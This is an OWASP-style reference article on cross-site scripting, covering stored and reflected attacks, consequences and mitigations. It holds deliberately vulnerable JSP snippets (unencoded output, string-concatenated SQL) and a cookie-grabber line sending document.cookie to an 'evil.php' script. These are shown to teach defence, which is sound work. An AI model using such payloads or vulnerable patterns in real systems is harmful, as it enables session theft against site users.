Cross-site Scripting (XSS)

Overview
Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

How to Avoid Cross-site scripting Vulnerabilities
See the OWASP Development Guide article on Phishing.

How to Review Code for Cross-site scripting Vulnerabilities
See the OWASP Code Review Guide article on how to Avoid Reviewing code for Cross-site scripting Vulnerabilities.

How to Test for Cross-site scripting Vulnerabilities
See the OWASP Testing Guide article on how to Test for Cross site scripting Vulnerabilities.

Description
Cross-Site Scripting (XSS) vulnerabilities occur when:


 * 1) Data enters a Web application through an untrusted source, most frequently a web request.
 * 2) The data is included in dynamic content that is sent to a web user without being validated for malicious code.

The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it. [[Category:FIXME|Can I change "instantiation" to "type of"? That doesn't mean the same thing (instantiation means a real example of an abstract thing), but I think this is just saying that XSS is in the injection problem category]]

An attacker can use XSS to send malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.

Stored and Reflected XSS Attacks
XSS attacks can generally be categorized into two categories: stored and reflected. Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server. When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a ‘trusted’ server.

The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, and modifying presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.

How to Determine If You Are Vulnerable
XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.

How to Protect Yourself
The best way to protect a web application from XSS attacks is ensure that your application performs validation of all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed. The validation should not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content. We strongly recommend a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.

Encoding user supplied output can also defeat XSS vulnerabilities by preventing inserted scripts from being transmitted to users in an executable form. Applications can gain significant protection from javascript based attacks by converting the following characters in all generated output to the appropriate HTML entity encoding:

This list is an example of dangerous characters. Do not be lured into thinking that output encoding via blacklisting is sufficient for XSS protection. The HTMLEntityEncode function at is a whitelist HTML Entity Output Encoding mechanism for Java.

Also, it's crucial that you turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported on the client. This attack is mounted when a user post a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the users cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all webservers.

The OWASP Filters project is producing reusable components in several languages to help prevent many forms of parameter tampering, including the injection of XSS attacks. In addition, the OWASP WebGoat Project training program has lessons on Cross-Site Scripting and data encoding.

Required Resources
Any

Severity
Medium

Likelihood of Exploit
Medium

Avoidance and Mitigation

 * Implementation: Use a white-list style parsing routine to ensure that no posted content contains scripting tags.
 * Implementation: If certain characters such as less-than and greater-than ought to be allowed, make sure to escape them to their HTML entity equivalents prior to storing them.

Discussion
Cross-site scripting attacks can occur wherever an untrusted user has the ability to publish content to a trusted web site. Typically, a malicious user will craft a client-side script, which - when parsed by a web browser - performs some activity (such as sending all site cookies to a given E-mail address).

If the input is unchecked, this script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.

There are several other possible attacks, such as running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy; cookie theft is however by far the most common.

All of these attacks are easily prevented by ensuring that no script tags - or for good measure, HTML tags at all - are allowed in data to be posted publicly.

Attackers frequently use a variety of methods to encode the malicious portion of the tag, such as using Unicode, so the request is less suspicious looking to the user. There are hundreds of variants of these attacks, including versions that do not even require any < > symbols. For this reason, attempting to “filter out” these scripts is not likely to succeed. Instead we recommend validating input against a rigorous positive specification of what is expected. XSS attacks usually come in the form of embedded JavaScript. However, any embedded active content is a potential source of danger, including: ActiveX (OLE), VBscript, Shockwave, Flash and more.

XSS issues can also be present in the underlying web and application servers as well. Most web and application servers generate simple web pages to display in the case of various errors, such as a 404 ‘page not found’ or a 500 ‘internal server error.’ If these pages reflect back any information from the user’s request, such as the URL they were trying to access, they may be vulnerable to a reflected XSS attack.

The likelihood that a site contains XSS vulnerabilities is extremely high. There are a wide variety of ways to trick web applications into relaying malicious scripts. Developers that attempt to filter out the malicious parts of these requests are very likely to overlook possible attacks or encodings. Finding these flaws is not tremendously difficult for attackers, as all they need is a browser and some time. There are numerous free tools available that help hackers find these flaws as well as carefully craft and inject XSS attacks into a target site.

Vulnerability Examples
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.

The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality.

Example 1
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

<% String eid = request.getParameter("eid"); %> ...	Employee ID: <%= eid %>

The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

<%... 	 Statement stmt = conn.createStatement; ResultSet rs = stmt.executeQuery("select * from emp where id="+eid); if (rs != null) { rs.next; String name = rs.getString("name"); %>	Employee Name: <%= name %>

As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:


 * As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities.
 * As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
 * A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

Attack Examples
Example 1 : Cookie Grabber

If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):

 var adr = '../evil.php?cakemonster=' + escape(document.cookie); 

The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in "cakemonster" variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.

Consequences

 * Confidentiality: The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies.


 * Access control: In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws

Exposure Period

 * Implementation: If bulletin-board style functionality is present, cross-site scripting may only be deterred at implementation time.

Platform

 * Language: Any


 * Platform: All web servers, application servers, and web application environments are susceptible to cross site scripting.

Examples and References

 * The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml
 * XSS Cheat Sheet: http://ha.ckers.org/xss.html
 * CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html
 * CERT “Understanding Malicious Content Mitigation” http://www.cert.org/tech_tips/malicious_code_mitigation.html
 * Cross-Site Scripting Security Exposure Executive Summary: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/topics/ExSumCS.asp
 * Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html
 * OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: Data Validation http://www.owasp.org/documentation/guide.html
 * OWASP Testing Guide, Testing for Cross Site Scripting http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
 * How to Build an HTTP Request Validation Engine (J2EE validation with Stinger) http://www.owasp.org/index.php/How_to_Build_an_HTTP_Request_Validation_Engine_for_Your_J2EE_Application
 * Have Your Cake and Eat it Too (.NET validation) http://www.owasp.org/columns/jpoteet/jpoteet2
 * XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com

Related Attacks

 * XSS Attacks
 * Category:Injection Attack
 * Invoking untrusted mobile code

Related Vulnerabilities

 * Category:Input Validation Vulnerability

Related Countermeasures

 * Category:Input Validation
 * HTML Entity Encoding